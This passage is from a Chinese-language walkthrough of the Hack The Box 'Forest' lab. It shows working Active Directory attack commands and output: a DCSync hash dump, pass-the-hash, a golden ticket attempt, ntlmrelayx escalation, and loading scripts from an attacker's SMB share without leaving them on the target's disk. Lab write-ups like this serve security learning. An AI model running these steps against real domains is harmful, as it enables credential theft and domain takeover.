ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz(commandline) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(commandline) # exit
Bye!
```

继续 `DCSync` 攻击, `DCSync` 权限具有 `Admin rgiths`, 因此可以使用 `secretsdump` 工具从用户中提取所有 NTLM:

```
(root@kali)~[/home/kali/hackthebox/Forest/file]
# impacket-secretsdump htb/0x584a:@10.10.10.161
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[-] RemoteOperations failed: DCE RPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acbb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b1c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_0b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffa36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

*Evil-WinRM* PS C:\Users\0x584a\Documents> . ./PowerView.ps1
*Evil-WinRM* PS C:\Users\0x584a\Documents> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\0x584a\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\0x584a', $SecPassword)
*Evil-WinRM* PS C:\Users\0x584a\Documents> Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity 0x584a -Rights DCSync
*Evil-WinRM* PS C:\Users\0x584a\Documents>
[work] 1:python3* 2:zsh-

kali | — 2021-07-05 23:03
```

OK, 成功导出用户的NTLM, 通过哈希传递成功登录 administrator 会话:


```
root@kali:~/home/kali/hackthebox/Forest/file# impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/Administrator@10.10.10.161
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
C:\>
```

关于金票

金票：<https://attack.stealthbits.com/how-golden-ticket-attack-works>

```
1 $ impacket-ticketer -nthash 819af826bb148e603acb0f33d17632f8 -domain-sid S-1-5-21-307266
2 $ export KRB5CCNAME=/home/kali/hackthebox/Forest/file/test001.ccache
3 $ impacket-psexec htb.local/test001@10.10.10.161 -k -no-pass
4 Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
5 [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
```

可是一直出现时间问题，目标服务器的时间与kali的时间存在差异，我调了好久都没调对... 放弃了，不折腾了... 有方面实际的朋友告诉我下，让我学习学习...

复盘

内网攻击术语：**AS-REP Roasting**，属于kerberos协议的攻击，获取用户hash然后离线暴力破解。攻击方式利用比较局限，因为其需要用户账号设置 "Do not require Kerberos preauthentication(不使用Kerberos预认证)"

AS-REP Roasting、**Kerberoasting** 和 **黄金票据** 的区别：

```
1 简单的方式来解释一下：
2 - AS-REP Roasting: 获取用户hash然后离线暴力破解
3 - Kerberoasting: 获取应用服务hash然后暴力破解
4 - 黄金票据: 通过假冒域中不存在的用户来访问应用服务
```

利用 rpcclient 匿名访问查询用户、用户所属组信息等，也可以直接用 **enum4linux**。

```
1 # 匿名访问
2 rpcclient -U "" -N 10.10.10.161
3 # 获取所有用户
4 rpcclient $> enumdomusers
5 # 获取权限列表
6 rpcclient $> enumprivs
7 # 获取域信息
8 rpcclient $> enumdomains
9 # 获取域的组信息
10 rpcclient $> enumdomgroups
11 # 枚举 AD 林中的所有受信任域
12 rpcclient $> dsenumdomtrusts
```

GetNPUsers 在运行匿名访问的时候不需要输入用户名，也可以拿到凭证：`$ impacket-GetNPUsers -dc-ip 10.10.10.161 -request "htb.local/"`

`impacket-smbserver` 除了可以用来临时开 `smbserver` 进行copy的操作，还能通过 powershell 来挂载它，这样做我们的脚本将不会在目标服务落地，也是防溯源的一个技巧：

不带身份认证启动后直接直接挂载：

```
PS> New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName>"
```

带身份认证的挂载：



```
$ impacket-smbserver <shareName> $(pwd) -smb2support -username <user> -password <password>
```

```
PS> $pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
```

```
PS> $cred = New-Object System.Management.Automation.PSCredential('<user>', $pass)
```

```
PS> New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName>" -Credential $cred
```

还发现一款 LDAP 图形化工具 JXplorer：



- 1 # PowerView 完成新建用户、组添加
- 2 PS C:\Users\svc-alfresco\Documents> Import-Module ./PowerView.ps1
- 3 PS C:\Users\svc-alfresco\Documents> New-LocalUser "yakuhto" -Password \$(ConvertTo-SecureString "yakuhto" -AsPlainText -Force)

```

4 PS C:\Users\svc-alfresco\Documents> $Group = Get-ADGroup -Identity "CN=Exchange Windows
5 PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity $Group -Members yakuhto
6 PS C:\Users\svc-alfresco\Documents> $Group2 = Get-ADGroup -Identity "CN=Remote Management
7 PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity $Group2 -Members yakuhto

```

NTLM中继攻击：

以域控制器上的 LDAP 为目标，以中继模式启动 ntlmrelayx，并提供受攻击者控制的用户以提升权限。

tools: <https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py>

```
$ python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco
```

浏览器打开链接：http://<you_ip>/privexchange/ 使用此凭据（您的 HTB IP）连接。

```

1 [*] Servers started, waiting for connections
2 [*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain
3 [*] Try using DCSync with secretsdump.py and this user :)

```

基本上等待一分钟后（这是为推送通知提供的时间），ntlmrelayx 处的连接进入，这时候用户就有了 DCSync 权限。

参考

- 关于Kerberos的前置知识：<https://mp.weixin.qq.com/s/gLg0pdVRWI3hJMB5au61rw>
- <https://www.zhukun.net/archives/7980>
- <https://www.tarlogic.com/en/blog/how-to-attack-kerberos/>
- kerberos_attacks_cheatsheet.md:
<https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a>
- <https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96>
- <https://www.cnblogs.com/wilburxu/p/9174353.html>
- <https://book.hacktricks.xyz/pentesting/pentesting-ldap>
- <https://misakikata.github.io/2020/08/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%A8%AA%E8%A1%8C%E7%A7%BB%E5%8A%A8/>
- <https://www.cnblogs.com/backlion/p/10643132.html>
- <https://hackergu.com/kerberos-sec-spn-search/>
- <https://bbs.ichunqiu.com/thread-59896-1-1.html>
- <https://daiker.gitbook.io/windows-protocol/ldap-pian/12>
- <https://youngrichog.github.io/2020/02/08/Active-Directory%E5%9F%9F-ACL%E7%9B%B8%E5%85%B3%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/>
- <https://zhuanlan.zhihu.com/p/27557171>
- <https://github.com/chriskaliX/AD-Pentest-Notes>
- <https://infinitelogins.com/2020/09/04/windows-file-transfer-cheatsheet/>
- 操作系统中的已知安全Windows标识符：<https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/identity/security-identifiers-in-windows>
- <https://ceso.github.io/posts/2020/04/hacking/oscp-cheatsheet/>
- <https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/>
- <https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/>
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- <https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>
- <https://rootsecdev.medium.com/bloodhound-part-1-a-walkthrough-in-lateral-movements-and-paths-to-domain-admin-870dd05abde6>
- https://adsecurity.org/?page_id=4031